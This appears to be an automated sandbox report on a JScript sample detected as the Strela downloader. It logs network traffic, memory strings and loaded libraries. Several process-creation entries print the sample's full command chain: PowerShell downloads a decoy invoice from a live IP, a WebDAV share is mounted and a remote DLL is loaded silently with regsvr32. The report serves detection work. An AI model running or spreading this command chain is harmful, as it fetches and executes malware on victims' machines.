Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1658492116.0000011E6F21C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1710935974.000002724C2A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1710935974.000002724C2EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1710935974.000002724C2C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)
Source: net.exe, 00000006.00000002.1710935974.000002724C2C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: svchost.exe, 00000008.00000002.2955376000.00000255A7000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6E88000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6EBD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6F32000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1716428444.00000255A6F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6252, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 106714464113327088.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apadl1if.510.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 106714464113327088.js

ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\106714464113327088.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1544,i,17645480024702962180,4049862844946627506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1544,i,17645480024702962180,4049862844946627506,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
